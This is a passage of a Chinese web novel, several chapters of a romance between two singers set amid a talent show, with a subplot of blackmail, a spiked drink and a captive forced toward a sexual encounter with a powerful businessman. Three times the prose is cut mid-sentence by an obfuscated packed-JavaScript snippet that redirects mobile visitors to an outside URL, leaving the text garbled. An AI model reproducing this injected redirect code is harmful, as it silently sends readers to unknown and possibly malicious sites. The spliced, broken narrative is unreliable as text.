杨原野想了下,如果直接说他认识易小雪,那他和易卿尘的关系也太过亲密,难免引得高飞怀疑。于是他卖了个傻:“易卿尘不是没有妈么?高总这消息可靠吗?” 高飞从桌上的牛皮信封里掏出几张照片,递给杨原野:“就是照片里这个女人。” 杨原野一看,是有人偷拍的易小雪在疗养院海边走路的照片。他们还真的找到易小雪了!绝对不能让易小雪落到高飞手里。 “她啊,她不是易卿尘的高中老师吗?我替易卿尘给她送过一次东西,倒是见过,还在她那儿喝了杯茶。”杨原野说。 高飞喜出望外,既然易小雪认识杨原野,那一切就简单多了。 他当即要求杨原野把易小雪接出来,带去京郊的一个地址。 杨原野装得很为难,几番推诿,高飞便拿汪曼姿的专辑版权诱惑他,见他还是举棋不定,又把之前许诺给杨原野的签约金提升了一倍,当场预付了三分之一。杨原野这才一副财迷心窍、不得不从的样子应下了这桩生意。 不过眼看明天就是《中国唱作人》直播,一切都来不及计划,杨原野便许诺高飞,等这期录影结束之后再去办事。 杨原野临走,高飞叫住他,提点道:“Linda小姐是我们楚总的心头宝,明天比赛,明里暗里的,你知道该保着谁。时刻提醒自己,你是谁的人。” “谢谢高总提醒,我自然知道该怎么做。” “那就好,和聪明人办事就是舒服。到时候我会派个人跟你一起去北戴河,也好和你有个照应。” 高飞还是在防着他,杨原野心知肚明,却只能乐呵呵地答应:“好,高总一定给我派个会开车的,开长途累得慌,正好换换班。” 杨原野离开尚星大厦之后,坐在车里思考了许久,之后急匆匆地开车去了京北电视台,在附近一家茶餐厅见到了宗天天。这件事情要想办成,少不了宗天天的帮助。 二人见完面已经快到下午两点,杨原野又马不停蹄地赶去了星光影视基地彩排。 彩排的间隙,易卿尘特意来看他,听他的鼻音又加重了,甚至还有些咳嗽,盯着他喝了两大杯温开水,博博来找人,易卿尘才离开。 杨原野彩排结束,发现易卿尘在停车场等他。心里想着一个人,总想时时在他身旁。他一个小感冒,也会一直担心。 星光影视基地一直有各路明星和娱记出没,两人守着规矩,上了车开出好远,才敢牵上手,在红绿灯的路口接了个吻。 黑夜里,红灯的光束把杨原野深邃的黑眸映得旖旎,又带着一丝说不上的情绪。 “小尘,你会离开我吗?” 没来由的问题,易卿尘不解地皱了皱眉,“怎么这么问?” 杨原野在他唇上又啄了一下,问了句仿佛是恋爱中每对恋人都会问的傻话:“如果有一天,你发现我没有你想的那么好,你还会爱我吗?” 杨原野的表情让易卿尘没来由地有一丝发慌,却说不上哪里不对。他自己也会偶尔胡思乱想,怕好不容易得来的一切只是镜花水月,怕某天一觉醒来,杨原野对他腻了,没激情了。尤其是想起杨原野的父亲,他便更加忐忑。 所以杨原野此刻也只是无端地在杞人忧天吧?易卿尘捧着他的脸,试图通过带给对方某种内心深处很坚定的东西。 “阿野,没有什么够不够好,不管你做了什么,或者没做什么,都没关系,我对你永远不会改变。” 杨原野定住了一瞬,眼里那团不知名的情绪仿佛更浓了。杨原野张了张嘴,却没说出什么,在目光的交缠中,他微微低下了头,避开易卿尘的眼神,不轻不重地“嗯”了一声。 车子开到市区,驶进了一个加油站,杨原野下车去操作,易卿尘靠着颈枕闭目养神。 一声收到微信消息的提示音响了,跟着,是一个中年男声通过车载蓝牙在车内播放起来。 “钱又给你打过去一笔,那件事就靠你了,做成了你今后在尚星一定——” 播到一半,语音被切断。不一会儿,杨原野拉开车门上了车,叫了声易卿尘的名字,易卿尘闭着眼睛没反应,看样子,好像是睡着了。 杨原野轻舒了一口气,继续开车上路。 车子开到帝京公馆,易卿尘揉了揉眼睛,抻了个懒腰,醒了。 “那我走啦,你也早点回去休息。” 易卿尘正要打开车门,就被杨原野拉住胳膊。 “我不想回去了,今晚就睡你这儿吧。” 易卿尘怔了怔,说:“今天不行,你生着病,明天还直播呢。” 杨原野摇了摇易卿尘的手臂,“傻瓜,今晚不碰你,我保证,就是想和你一起睡觉而已。” 他还真是说到做到,回家一起洗过澡后,两人就躺下了。卧室里漆黑又安静,很快,易卿尘的呼吸渐渐有了规律,像是睡熟了。 杨原野动作很轻地顺走易卿尘放在枕头下面的手机,起身走出了卧室。 喀哒一声轻响,门被关上,易卿尘同时缓缓睁开了眼睛。 “阿野……为什么……” 黑暗中的呢喃被沉默吞噬,他的声音细弱蚊吶。易卿尘很想冲出去质问杨原野到底在搞什么,可整个人却像被一股无形的力量压在床上,他没有勇气走出这间卧室,甚至不敢发出声音让外面的人听见。 可能是怕撞破什么他不想面对的真相,那也许会让他们的关系就此结束?今晚的吻和拥抱,都是最后一次了吗……想到这儿,易卿尘忍不住在被子里抱住了自己。 来自“尚星”的打款,离奇的照片泄露,交给神秘女人的物品…… 易卿尘的呼吸变得急促,他愈发不敢想下去,不可能,一定是自己多虑了。明天就是比赛直播,先不要横生枝节,影响杨原野明天的表现。等比赛结束之后,他会去好好把这一切搞清楚。 与此同时,客厅里,杨原野站在落地窗前,默默望着楼下小区的花坛中的一片乒乓菊。 想要顺利把易小雪带走,必须要借助易卿尘才行。易小雪虽然精神状态不稳定,但也不傻,况且还有个精明的姨妈。在他把事情处理妥当之前,既不能让两位长辈担惊受怕,也不能让易卿尘有所察觉。 杨原野按亮了易卿尘的手机,顺利地用自己的生日解锁了屏幕。 学着易卿尘的语气,杨原野给姨妈发去一条微信,说她们住的地方被人知道了,以防万一,要尽快搬家。加上最近狗仔盯得紧,易卿尘不方便自己出面去接她们,要是被拍到同框照就麻烦了,所以委托杨原野去接她们走,之后也会暂时由杨原野照顾她俩的生活,等这阵子风声过去,易卿尘就去看她们。 姨妈没起疑,只是又多要了一些生活费,通过推送的名片加了杨原野的微信。 杨原野看了眼易卿尘和易小雪的微信对话,联系不太频繁,一多半都是易小雪分享的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573752|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些养生小视频。他想了想,便没有主动给易小雪留言。 脑袋有些发紧,心脏怦怦地跳,杨原野走去冰箱,开了罐啤酒,冰凉凉的从里到外冷静了下来,才又放轻脚步,摸进了卧室。 见易卿尘还在睡着,杨原野钻进被窝,抬手碰了碰他柔软的发顶。易卿尘像小猫一样轻轻哼了声,翻了个身,很自然地窝进了他的怀里。杨原野收紧了怀抱,凑近对方的耳畔,很小声地说了声:“宝宝,晚安。” 易卿尘的睫毛不可知地颤动了几下。 《中国唱作人》六进四的直播吸引了几千万人同时在线观看。前半场淘汰一名选手,主要依据场外投票。向荣因为是上个世纪的老港星,和新生代小鲜肉小仙女比拼投票,自然不敌,以大比分败下阵来,遗憾止步总决赛。 到了下半场,剩下的每位歌手演唱自己的一首原创曲目,由专业评委打分,分数最高的两位直接晋级,分数垫底的需要在第三第四名中选一个PK,最终淘汰一位。 因为感冒的影响,杨原野今晚的音色偏沙哑干涩,下半场的这首歌又对滑音的要求很高,暴露了他的问题,在评委打分环节意外地垫了底。 作为第一轮投票的人气王,杨原野即将进入终极PK,面临淘汰风险,屏幕前的粉丝们都紧张到疯狂刷屏,弹幕糊脸。 评委打分的第三名是易卿尘,第四名是江琳达,二人分数差距不小。现场江琳达的后援团一副如临大敌的状态,后援会长坐在第一排,坐立不安地不停喝水。毕竟大家都知道,杨原野和易卿尘是多年的交情,就算不是CP粉YY的那样,也是好哥们儿不假。 论交情论实力,正当所有人都以为杨原野一定会选择和江琳达PK,而保送易卿尘晋级总决赛时,只见杨原野拿起话筒,看向对面等待被他选择的两人,最终目光落在了易卿尘身上。 杨原野说:“易卿尘,一直希望有个机会和你好好比一比,不如就今天吧?” 易卿尘的表情有瞬间的凝滞,嘴角微微抽动,很快又微笑着点了点头。 此话一出,全场安静了好几秒,就连后台的周泗淼、李达理也互相交换了一个难以置信的眼神。 只有江琳达,似乎早就有了底气似的,露出一个自信的笑容,在主持人的恭贺声中,鞠躬致谢走向晋级台。 镜头前的易卿尘看不出悲喜,只是很平静地走向舞台的中央,站到杨原野的身旁。 主持人递过话筒,故意问道:“易卿尘,杨原野选择了保送Linda晋级,而把你置于可能淘汰的位置,此刻你有什么话对他说吗?” 易卿尘还没等开口说什么,野尘CP粉们率先破防了,弹幕又是一波大地震。 【野哥,请问这是什么操作?快点击“撤回”,哀家看不懂啊!】 【这就是传说中的“上岸三件事,先斩意中人”吗?】 【想死,我的CP注定不能手拉手晋级总决赛了,BE……(抠鼻.jpg)】 【忽然很希望杨原野晋级成功,让易卿尘清醒清醒,一场比赛看清一个人,不亏。】 【不可能的,这肯定是事先安排好虐粉的,我不相信 !orz】 …… 主持人问易卿尘的应战宣言,他侧头看了看杨原野,拿起话筒。 “杨原野这周感冒了,状态不好,否则以他的实力一定可以直接晋级的。”易卿尘顿了顿,眸光如水,“下面一首歌也许是我在这个舞台的最后一首,所以我想把这首歌送给杨原野,对他说:谢谢你选择我。” 粉丝们瞬间被纯爱破了大防,一大排弹幕整齐划一地飘来: 【他好爱他……】 【他好爱他……】 【他好爱他……】 【他好爱他……】 【他好爱他……】 【他好爱他……】 …… 92.092 美色 五分钟的广告时间,正好留给杨原野和易卿尘准备各自的终极PK曲目。 在台下,工作人员们围着易卿尘换服装加补妆,一会儿他会先于杨原野上场演唱。博博跑来给他递上吸管,杯子里是温热的蜂蜜水。 “易老师加油,你在我心中就是冠军,不要因为对手是小野哥就放水。” 对于杨原野选易卿尘PK的事,博博心中自然是不理解外加忿忿不平,却也不敢表现在脸上,怕把坏情绪传染给易卿尘,影响他发挥,于是故作轻松地给他鼓劲儿。 站在通往舞台的甬道候场,耳机里开始倒数读秒一分钟,易卿尘闭起眼睛调整呼吸。忽然,手心被人捏了一下,他顺势抓了一把,十指交握,一睁眼,在昏暗的甬道里,对上杨原野一双漆亮的眼睛。 “加油,”杨原野轻声补充道,“你要赢。” 易卿尘有许多问题,可此刻都问不出来,“记不记得你曾经问过我,我的第一首歌是怎么写出来的?一会儿就告诉你答案。” 杨原野点了点头,正要抽出手去,却被易卿尘攥紧了。 “好好唱,不要故意输给我,那样我才会生气。” 易卿尘虽然不知道杨原野到底在隐瞒他什么,但他依然相信,他不会害他。杨原野今天做这样的选择,只可能有一个原因,那就是杨原野不能PK江琳达,或者他PK江琳达一定会输。如果一定会输,那么他希望能输给自己。 可到底为什么会这样?等今晚比赛结束,易卿尘决定要好好和杨原野谈一谈,不管是什么,他只相信杨原野亲口说的。 舞台的灯光亮起,照得甬道一片素白。淡银的光芒洒在易卿尘的脸上,映得一双眼睛温柔而坚定,他松开杨原野的手,迈步走向舞台。 主持人照例先来了段互动,问易卿尘最后这首歌曲有什么创作故事。 易卿尘说道:“这是我写的第一首歌,那时我高三,在一个黄昏的车站偶然听人哼了一小段旋律,激发了我创作的灵感。我们会遇到很多人,有些人会点亮你,虽然只有霎那的光芒,却是可遇不可求的。我想说,感谢每一个星星般的人,曾经或正在点亮我生命的原野。” “啊啊啊——” 台下原本如丧考妣的野尘CP粉瞬间诈尸般集体狂叫,摄像大哥扭头狂看,因为男男CP过于敏感,却不敢切镜头过去。 一段轻快的口哨吹响了歌曲的前奏,身后大屏幕上满是西瓜汽水的卡通动图,仿佛一瞬间将人们带去了某个悠闲的夏日,蝉鸣悠长,青春刚启航。易卿尘清润的歌声响起—— “没等到铃响 写完作文飞奔出考场 文采飞扬字迹漂亮 把人生大事都展望 夏日的夕阳 你的哼唱红尘长翅膀 落在心上 随风荡漾 没有歌词也难忘 陌生的你呀 我描绘你的模样 写一束阳光照亮青春的迷藏 起承与转合不在乎有谁捧场 少年的滚烫挥挥手谢绝模仿 陌生的你呀 我描绘你的模样 写天气晴朗我们在回家路上 比喻和排比 不及你眼中星光 这一段旋律 请容我独家私藏” 副歌的旋律是易卿尘借用在车站听陌生男孩吹的那段口哨,反复回环,朗朗上口,有种让人一听难忘的魔力。台下观众不自觉地和着拍子,一齐拍掌。乐手用钢勺敲击玻璃杯伴奏,杯中的声韵余波荡漾。 淡银色候场甬道里的杨原野像是被钉在了地上,一张英俊绝伦、浓烈无序的脸上写着震惊,那双漆黑的眼中闪烁着不寻常的激动。 记忆把他带回了那个十六岁的夏天。他还记得那是新概念作文大赛结束后的日落时分,热气尚未散尽,车站旁有个西瓜摊,摊主坐在简易躺椅上来回摇着蒲扇,小猫就懒洋洋地睡在脚边。那时,父母还没有离婚,家业也蒸蒸日上,他只是个无忧无虑的少年。 摊主的躺椅咯吱咯吱的金属声有节奏地律动,在杨原野的脑中形成了一段旋律,他不自觉地用口哨吹了出来。 那时杨原野浑然不知,那旋律也被同样站在车站的另一个人听了去。 他们竟然那么早就遇见过彼此,冥冥之中,他参与了易卿尘的第一首歌。 今夜的舞台过后,这首歌将会被许许多多的人传唱,但全世界只有他和他亲眼见过那天傍晚56路车站旁的夕阳。 在歌曲的最后,易卿尘写了一大段尾声,人声清唱,口哨加小鼓伴奏,让这首轻松的夏日小甜歌瞬间产生了高级的层次的韵律。 “你要去听你没听过的歌曲 喝杯颜色奇奇怪怪的香槟 你要勇敢不回头的往前走 遇见一群形形色色的朋友 你要去穿你很喜欢的衣服 翻过远方蜿蜒崎岖的山峰 在某个无比平常的日子里 我遇见了你” 尾声之后,大屏幕上的卡通风车被一阵微风吹动,顺着风的方向,天地接壤,舞台的灯光渐渐变暗,只留下若隐若现的口哨声,最终消失在成长的那个路口。 台下响起了如潮的掌声,在那之后的几个小时里,易卿尘的微博粉丝数暴涨了六位数。 …… 应冠名商的要求,比赛结束后,所有的歌手都会去京北最大的夜店“热火”庆功。说是庆功,实则是给资本捧场。 今晚是热火第一天开业,而老板就是海岛牌椰汁的太子爷,夜店里非富即贵,娱乐圈时尚圈大小网红,声色犬马,非邀请不得入。 音响声震耳欲聋,人头攒动,易卿尘躲开许多半生不熟人的寒暄,好不容易才找到杨原野。他把人带到厕所门口的走廊上,这里虽然人少,可还是很吵,他只好凑近杨原野耳边问道:“你还好吗?” 不过是被淘汰而已,杨原野声调散漫地说:“挺好啊,怎么了?” “阿野,我想和你谈谈,咱们早点儿走吧。” 杨原野还没回答,一抬头,看见一个穿西装戴眼镜的男人迎着他,走向男厕所,和他目光相交时,男人给了他一个眼神。杨原野心头一紧,好在灯光昏暗,易卿尘应该看不出他的表情。 他低头对易卿尘说:“好啊,我刚看见几个熟人,打个招呼就走,你先去bar那边坐一会儿。” 易卿尘点点头,决定先过去等他。 杨原野转头进了厕所,高飞正在里面洗手。 “隔间里没人。”高飞看着镜子里的杨原野说道,“我给你打电话怎么没接?” 杨原野掏出手机才看见上面的红色未接来电,“太吵了,没听见。高总又有什么指示?” “不是指示,是生意。”高飞露出一抹奸笑,“你知道陈大兴吗?” 陈大兴就是海岛集团的董事长,这夜店是他儿子开的,陈大兴当年和杨原野的父亲杨金波一起合伙做过生意。“知道,怎么了?” “陈老头喜爱男色,今晚想要个人,这事儿还得麻烦杨老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579894|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师帮我办了。” “谁?” “还能有谁?就是那个白白净净的小美人,你的半个朋友,易卿尘。” 水龙头下冲水的手倏地顿住了,脖子上的青筋暴起,杨原野强忍住想要杀人的冲动,沉声问道:“老头自己的地界,想要个人,怎么还得麻烦别人?” 高飞看他一眼,轻嗤着笑道:“他说直接把人绑了?呵呵,那老头很会玩的,他对死鱼没兴趣。” “你是想让我去劝易卿尘陪老头睡?笑话,你觉得他能同意?” “那必然不能,可如果他自己也□□焚身呢?人和自己的兽性对抗,杨老师觉得他能赢吗?” 杨原野瞪视他,“你想让我给他下|药?” 高飞摇摇头,“没那么麻烦,我说过,不会让你亲手做什么违法乱纪的事儿,毕竟以后你还是我们尚星要力捧的摇钱树呢。那种脏东西自然有人去放到易卿尘的酒里,杨老师只需要帮我把人带到指定的地方就好。换了陌生人,小美人怕是不肯走,当众挣扎起来多难看?你们关系好,旁人见了也不会起疑。” “我要是不干呢?”杨原野抬起一边眉毛反问道。 “你不干自然有人愿意干,这场上和易卿尘有交情的又不止你一个。只不过既然你已经在局里了,我就懒得麻烦第二个人了。事成之后,自然少不了你的好处。”高飞拍了拍杨原野的肩膀,半威胁地补充道,“不过你要是办事不利,就做好准备自己去跟杨老头解释吧。他可是我们这边地下钱庄的金主,手段狠辣连我都得叫爸爸,你看着办。” 高飞甩了甩手,扶了下金丝眼镜,一副斯文正派的模样踏步走出了卫生间。 哗啦啦的水声一直响着,杨原野泄愤般地将水一股脑地扑打在脸上。可现在不是他发泄情绪的时候,他必须要尽快想出办法才行。 杨原野扭头跑出洗手间,远远地看见易卿尘正将面前那杯百龄坛威士忌仰面喝了下去。 糟了,还是晚了一步。 他眼下需要找到一个可靠的人立刻带易卿尘离开这里,这是他自己没办法做到的,他不能在高飞面前暴露自己在救易卿尘,否则被高飞怀疑,那么后续易小雪的事情也会生变,他们要再对易卿尘做任何事,他都无从左右,后果不堪设想。 情急之际,杨原野看见了一个人此刻正好走进“热火”,是楚言。 楚言最是安全,他绝不会对易卿尘见死不救;可楚言也最危险,一个情动身热的易卿尘在他面前,会发生什么,杨原野不敢设想。 楚言站在人群的外围往里看,好像在找人,当视线停在独自坐在酒吧饮酒的男人身上,楚言趋身朝那边走了过去。 两害相权取其轻,陈大兴会折磨死易卿尘的,曾经就有一个小明星死在陈大兴经营的酒店里,死状凄惨,说是自杀,现在想来不寒而栗。 杨原野快步走过去拦在了楚言面前,楚言被他吓了一跳。 “怎么是你?”楚言笑道,“我和我公司艺人说句话,你也要拦着?” 不知道有多少双眼睛在盯着他,杨原野拣最重要的说:“小尘被人下了药,你快带他走,别表现出来异样。” 楚言的笑容僵在脸上,竭力掩饰自己的震惊,大张着眼睛盯着杨原野,“你不是开玩笑?” “拜托你照顾他,等我晚些去找你。” 杨原野说完扬起一个云淡风轻的假笑,捏了下楚言的肩膀,从兜里掏出手机,假装需要找个安静的地方接电话的样子,侧身往包厢方向走了。 93.093 欲望 “小尘。” 楚言从背后拍了下易卿尘的肩,易卿尘转头看过来的脸上带着一抹不正常的酡红,稍纵即逝的失望表情很容易看出,他在等的是另一个人。 “喝多了?”楚言问。 易卿尘喝得并不多,也许是这家夜店太热了,他觉得燥,“没有,楚总怎么也来了?你出院后身体好些了?” 见易卿尘的眼珠转动速度明显变慢,楚言相信杨原野说的是真的。 楚言用余光扫视四周,确实有人时不时瞟过来,未免打草惊蛇,他面不改色,端着轻松和易卿尘聊天,“我挺好的,死里逃生,往后我就是金刚不坏之身了。哦对了,吴芷静有个东西让我给你,你跟我去拿一下吧,在我车后备箱,挺沉的。” “嗯?什么东西呀?也没听静姐提过。”易卿尘忽然觉得视线一阵摇晃,于是用胳膊撑住头,顶在吧台边沿。杨原野怎么还不过来? “我哪知道是什么?又大又沉的,你快跟我去一趟吧,我等会儿还有事呢。”楚言催促着,故意抬腕看了看表。 易卿尘对于耽误大总裁的时间有些不好意思,说道:“好,我先发条消息,说一声。” “边走边发吧!”楚言迫不及待地把他拉起来,推着他的肩膀就往外走,路过几个跟他们打招呼的,纷纷露出心照不宣的笑容,小明星和老板推推搡搡的,还能是去干嘛? 过了好一会儿,杨原野回来了。指着空了的座位,问调酒师:“这人呢?” “让人带走了呗。” “被谁?” 金毛调酒师冲他眨了眨眼,答道:“金主爹地,盛世娱乐CEO呗。” 这调酒师认识的人还不少,就是嘴巴不干净。杨原野白了他一眼,一转身,迎面走过来两个黑西装白衬衫、肤色黝黑的男人,一左一右把他夹住了。 “飞哥说了,事情要是没办成,就直接送你去见陈老板。走吧!” 俩人夹着他,穿过霓虹妖冶的灯红酒绿,经过走廊,坐上了一架私人电梯。电梯上没写楼层,只有一个红色带星的按钮。 电梯门再次打开,已经全然没了夜店的嘈杂,装潢堂皇富丽,深红色的地毯从走廊一路延申到一扇木纹大门前。沿路站着几个穿迷彩裤,黑色紧身短袖的男人,个个体格精壮,一看就是练过的。 实木大门打开,里面是一间很大的套房,杨原野被请了进去。 高飞和另一个粗犷的中年男人正对坐着,翘着二郎腿说着话。见他进来,高飞赶忙站了起来,冲另一人说道:“今天的事儿对不住,下次一定不会了,有空您和陈总去我别墅喝茶,雨前龙井,说好了啊。” 男人不苟言笑,只垂了下眼皮。 “彪哥那我就先走了”,高飞说完便转身往门口走去。路过杨原野时,高飞停了下来,把手搭在他的肩头,凑近小声说道:“有的事儿忍忍就过去了,别犟。” 杨原野抽了抽嘴角,什么也没说,他知道,现在说什么都晚了。一鸟入笼,插翅难飞。 看来,他们没把人给弄来,眼下是准备让他代替易卿尘去床上伺候陈大兴。 厚重的实木双开大门被门外的私人保镖关上了,发出哐镗一声沉闷的响声。套房内变得十分安静,叫彪哥的男人一言不发,又坐回了沙发里,拿起茶几上的杯子不紧不慢喝着茶。过了好一会儿才扭过头,用冷沉的目光把杨原野从上到下扫视了一遍,一开口,是浓稠的烟嗓儿:“愣着干什么?都脱了。” 杨原野回以散漫的一笑,扯了扯嘴角问道:“都脱了,是给你看吗?陈老板呢?” 王彪鲜少见到这样胆子大的“货”,被激起了点儿兴趣,于是站起身,走到杨原野面前。“陈总在里间洗澡呢,你急了?要是急着表现,就麻利脱了,你不脱,我怎么知道你这身上有没有什么凶器?” “有必要吗?”杨原野冷笑一声,抬起右手转了转手腕,“到了床上,就算是徒手也有把人弄死的。” 说话间,王彪趁其不备,攥住杨原野的手腕,用力一掰,反身便把杨原野钳住按在了墙上。 “这么野,陈总可不喜欢,明明点的是杯小甜水,没想到上了杯烧刀子。”王彪啧啧嘴,接着说,“我知道你不乐意,姓高的把你送来,是挺孙子的。不过我劝你,伸头缩头都是一刀,你这个屁股今晚横竖是保不住了,不如哄得人开心,少遭点罪。别想着打什么鬼主意,除非你想尝尝电棍的滋味儿。” 杨原野的半扇肋骨加右胳膊都被扭得生疼,王彪此时又加重了力度,他顿时疼出一脑门汗。硬来是没用的,好汉不吃眼前亏。 “疼、疼……”杨原野讨饶,“裤衩能穿着吗?我头一回,害臊。” “成。” 王彪把人松开,盯着他解开皮带,把衣服裤子鞋子袜子都脱了,只剩一条三角内裤。身量高大俊朗的年轻身体,腹肌上的人鱼线若隐若现,宽肩窄腰大长腿,果然是“好货”。 “进去吧。”王彪对着杨原野的脸,不轻不重地扇了一巴掌,又朝里屋抬了抬下巴。 杨原野咬着后槽牙,额上的血管和青筋凸起,他不知道那扇门后等着他的是什么。墙上的银器装饰反射出寒森的光,此刻唯一还能感到庆幸的一点是,今天被绑来的不是易卿尘,否则他一定会发疯。 与此同时,黑色迈巴赫正快速地驶进帝京公馆的小区地库。 易卿尘瘫软在副驾驶座椅里,潮热的眼睛像蒙了一层雾气,眼前的事物有种模糊的不真实感。 “小尘,你怎么样?”楚言下了车,打开副驾驶的车门,手指触碰到他胳膊的一瞬间,易卿尘全身的寒毛都竖了起来。此刻的身体异常敏|感,仿佛有什么要从小腹深处跳出来,吞掉他。 楚言已经把刚刚酒吧里的前因后果告诉给了他。这件事,以及这几天杨原野异常的表现仿佛一张巨大的网,密密麻麻地在易卿尘心里笼罩出数道幽黑恐惧的阴影。他想立刻见到杨原野,问清楚所有这一切,可是杨原野的电话根本打不通。 “能自己下车吗?” 易卿尘点点头,撑着车门玻璃往起站,脚踩在地上时感觉大地晃了两下。稳定了几秒后,易卿尘好像可以站住了。 “谢谢楚总出手搭救,你路上小心。” “我送你上楼吧。”楚言知道易卿尘此刻应该很难受,现在这副模样就是在硬撑。他想帮他,可这样总显得居心不良似的。 “不用了,阿野很快就回来了。” 易卿尘一搬出来杨原野,楚言就再没了留下来的理由,于是嘱咐了几句,便又上了车。 然而,车还没开出多远,后视镜里的青年便倒在了地上。 楚言心急如焚,冲过去把人打横抱在怀里,像抱了一个暖炉,易卿尘浑身都在发烫,脸上的潮红愈发明显,鼻尖渗出细密的汗珠。 “楚总,我……” “别说了,我去给你倒杯水。” 楚言进了屋,把易卿尘小心地放在床上,转身去了厨房。待他拿着水杯再走进卧室时,只见易卿尘弓着身子,像一只煮熟了的大虾,两腿夹紧,绷紧的腿部肌肉线条展示着隐忍的欲望。 他需要纾解。 楚言默默地把水放在床头柜,杯子碰到桌面的声音让易卿尘张开了眼睛。他的意识清醒,他清楚地知道自己的身体出了问题,正在逐渐挣脱了他的控制。 易卿尘尝试重聚涣散的视线,意料之中的失败了。 但他知道,这不是最糟糕的。 接下来,只会更要命。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598749|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 否则,也不会将好不容易恢复的一点力气,全用在挽留不该挽留的人身上。 易卿尘感觉自己的灵魂抽离,飘在半空,冷眼看着自己的五指都扭曲了,却还是紧扣住楚言的手腕。 他听见自己说:“求、你,帮……我……” 楚言一瞬间心跳到嗓子眼儿,他感觉自己才是中招的那个。砰砰砰——好像有人在胸腔横冲直撞,动静大得连易卿尘都能听到。 他嗓子眼干涩,喉咙也痒得发紧,喉结上下跳动也只稍微得到缓解。他反手握住易卿尘的手,十指紧扣,慢慢朝易卿尘靠近。 卑鄙吗? 可他就是不想放弃任何可能性。 易卿尘心里涌起一股屈辱,眼角酸涩发胀,又有什么不受他控制了。 楚言把人扶起来,上半身靠在他怀里,双手从身后环过来,将人完整的纳入领地。 “别怕,别有负担,你只是生病了。” 易卿尘闭紧了眼睛,明明是极尽温柔体贴的安抚,却让他不寒而栗。思绪混乱得像一场疾驰的风暴,在风暴的尽头,易卿尘仿佛看见一个熟悉人影向自己走来,杨原野的脸愈发逼近清晰。 易卿尘猛然睁开眼睛,撑着最后一丝力气攥住了楚言的手腕。 “言哥,就到这吧……接下来我自己可以……” 楚言还想继续,看见易卿尘咬破的嘴角,渗出的一抹殷红,他自嘲地笑了,手上的阻力告诉他,梦该醒了。 既不想趁人之危,又怕易卿尘怨恨他,楚言只得扶着易卿尘靠坐在床头,又去拿了一盒纸抽放在他手边,哑声道:“我就在门口,有事叫我。” 怕易卿尘出事喊他他听不见,楚言只把主卧的房门关了一半。 不一会儿,里面传出些动静来。楚言在门口直听到阵阵的摩擦声,湿漉漉的水声,青年微弱的轻喘,透着忍不住的痛苦…… 好渴,楚言咽了口唾沫。 那个人,是他饮水难解的渴。 …… “咔哒。” 彪哥从外面将门上了锁,杨原野这下彻底被禁锢在了这间卧室。被剪掉翅膀的鸟怎么逃? 说是卧室,面积也大得很。杨原野四处走动,房间内一张欧式两米大床,贵妃榻旁点着淡淡的线香。浴室传来哗哗的水声,杨原野再往里走,还有一个小房间,扭动门锁,很容易就打开了。 只看了一眼,他头皮发麻,立刻退了出来。不知道有多少人会在日后长久的噩梦中无数次回到这间充满恶劣玩具的密室。 杨原野站在窗边看着对面,夜里的松临江像一条黑色的巨蟒,两只幽绿的眼睛诡谲阴森。他重重地捶了玻璃窗一拳。 “这窗户要是能砸碎就好了,”身后传来一道浑厚的男声,“你是在想这个,我猜的对吗?” 猛地回过头,陈大兴隔着张大床,就站在杨原野面前。那是一个外表再普通不过的五十多岁的男人,穿一件深蓝色天鹅绒睡袍,身体有明显的老态,既不威严霸气,也不猥琐丑陋,让人无法想象那些骇人的事都出自这个平凡的男人之手。 “你过来。”陈大兴沉声说。 “我在看夜景。”杨原野站着不动,眼底丝毫看不出畏惧,腹背肌肉倏地绷紧的线条也只让人垂涎那一副好身材,而不会想到,他也在暗暗害怕。 “你也过来看看?”杨原野一侧头,声似挑衅。 因为刚刚王彪说过陈大兴喜欢柔顺的美人,想必不假,不然他不会对易卿尘下手,所以杨原野无论如何也要支棱起翅膀,让对方难以下口。 陈大兴勾唇笑了笑:“你胆子是真很大,和你爸还挺像。” “既然你知道我是谁,还是让手下把我绑了来,陈叔,你要睡我?” 94.094 越线 陈大兴绕过两米宽的大床,不紧不慢地走到杨原野身边,目光落在他的身上,上下打量了一遍。 “你多高?”陈大兴问。 “一米八八。” “不错。” 杨原野高陈大兴一头,陈大兴虽然需要仰着头看他,却是一副看货品的表情。 “脱了。” 陈大兴的视线落在杨原野的内裤上,他用命令的口吻简单地吐出两个字来。 杨原野想起刚刚王彪说的话,“想不想试试电棍的滋味儿?” 这些人不是说着玩儿的。如果发展到被人教训、最后不得不从的地步,将会更屈辱。 他索性听命,三下五除二后,大义凛然地站在窗前。落地窗映着夜色,就是一块硕大的全身镜。 陈大兴抬起半边嘴角,似笑非笑地盯着他看,接着退后几步,好像在看远景镜头般,又看了看“镜”中。 